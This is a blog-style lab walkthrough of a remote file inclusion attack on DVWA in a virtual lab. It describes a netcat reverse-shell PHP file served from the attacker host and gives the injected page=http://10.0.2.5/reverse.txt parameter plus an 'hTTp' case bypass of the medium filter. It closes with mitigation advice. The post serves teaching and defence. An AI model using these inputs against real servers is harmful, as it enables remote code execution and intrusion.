Gaining Access with Remote File Inclusion

Yesterday’s post explored gaining access to a webserver using a local file inclusion (LFI) exploit. Today, I will explore how to gain access using remote file inclusion (RFI). The main difference between LFI and RFI is the the former requires an attacker to upload a malicious payload to a target server. With RFI, an attacker can exploit a system by using a malicious file hosted on a remote system.

According to Impervia, RFI “is an attack targeting vulnerabilities in web applications that dynamically reference external scripts. The perpetrator's goal is to exploit the referencing function in an application to upload malware (e.g., backdoor shells) from a remote URL located within a different domain” (https://www.incapsula.com/web-application-security/rfi-remote-file-inclusion.html). Generally speaking, both of these attacks are usually accompanied by a directory traversal attack which can lead to revealing sensitive data and increase the effectiveness of an attack.

The tools used to demonstrate this attack were Kali Linux, used as the attacker machine (https://www.kali.org/downloads/), Metasploitable (https://information.rapid7.com/metasploitable-download.html) and the Damn Vulnerable Web Application (DVWA) that came preinstalled on Metasploitable. As mentioned in my previous post, DVWA can be installed on any host as a standalone program from http://www.dvwa.co.uk/.  Finally, these machines were all hosted in a virtual environment using VirtualBox from Oracle (https://www.virtualbox.org/wiki/Downloads).

The first step was to write a basic PHP script on my attacker machine. For this, I used Leafpad on Kali. This script is the same script that was used in my demonstration for LFI. It uses the PHP function passthru(), which as mentioned previously, “is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser” (http://php.net/manual/en/function.passthru.php). Additionally, it executes netcat with the attacker IP to listen for connections on port 1234.

Next, the document was saved as a .txt file as opposed to a PHP file to prevent this from running on the attacker machine. This code is meant to be executed on the target system. Additionally, it was saved in the /var/www/html directory.

To ensure that this file is accessible to the web, I navigated to localhost/reverse.txt which returned the contents of the malicious file created above.

Once I confirmed that the file was able to be accessed, I began a netcat listener on the attacker machine set to listen on port 1234.

Next, I changed the URL parameters for page= to direct the browser to the malicious file. I added the ? at the end of the URL to instruct the target machine to run this file as a PHP file type.

Once the request was sent, the netcat connection was made and I was successfully able to execute commands on the target server.

I wanted to see if this attack would be successful if the web application had more beefed up security setting enabled. I changed the DVWA security settings from low to medium.

I first established a new netcat listener on the same port.

I then refreshed the web browser.

I then went back to my netcat and noticed that there was no connection made.

I decided to inspect the source code provided by DVWA for the file inclusion with medium security settings.

While these security settings do utilize input validation, it does not do so effectively. I simply changed the page=http://10.0.2.5/reverse.txt parameter by using capital T’s (page=hTTp://10.0.2.5/reverse.txt) and was able to establish a netcat connection to the target machine.

To mitigate against this type of attack, developes should prevent remove file inclusions by disabling the  allow_url_fopen & allow_url_include functions. Secondly, developers should aim to use static file inclusions. Secondly, OWASP recommends developers to “avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path” (https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion).